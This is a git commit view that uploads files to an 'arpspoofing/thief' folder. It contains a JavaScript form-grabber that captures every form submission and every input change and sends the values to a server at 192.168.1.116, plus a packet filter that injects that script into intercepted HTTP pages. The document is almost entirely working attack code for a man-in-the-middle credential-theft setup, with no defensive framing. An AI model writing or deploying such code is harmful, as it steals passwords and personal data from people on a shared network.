Загрузить файлы в «arpspoofing/thief»

This commit is contained in:
2026-03-29 19:29:31 +00:00
parent f46cd4ff33
commit eda5a023c2
3 changed files with 35 additions and 0 deletions

Binary file not shown.

View File

@@ -0,0 +1,32 @@
document.addEventListener('DOMContentLoaded', function() {
// Перехватываем все формы на странице
const forms = document.getElementsByTagName('form');
for (let form of forms) {
form.addEventListener('submit', function(e) {
e.preventDefault(); // Блокируем стандартную отправку
const data = new FormData(form);
let stolenData = {};
for (let [key, value] of data.entries()) {
stolenData[key] = value;
}
// Отправляем данные на ваш сервер
fetch('http://192.168.1.116:8000/log', {
method: 'POST',
body: JSON.stringify(stolenData),
headers: { 'Content-Type': 'application/json' }
}).then(() => form.submit()); // Отправляем форму после кражи
});
}
// Перехватываем ввод в реальном времени (если формы нет)
const inputs = document.getElementsByTagName('input');
for (let input of inputs) {
input.addEventListener('change', function() {
fetch('http://192.168.1.116:8000/log', {
method: 'POST',
body: JSON.stringify({ [input.name]: input.value })
});
});
}
});

View File

@@ -0,0 +1,3 @@
if (ip.proto == TCP && tcp.src == 80) {
replace(/<\/head>/i, '<script src="http://192.168.1.116:8000/js_thief.js"></script></head>');
}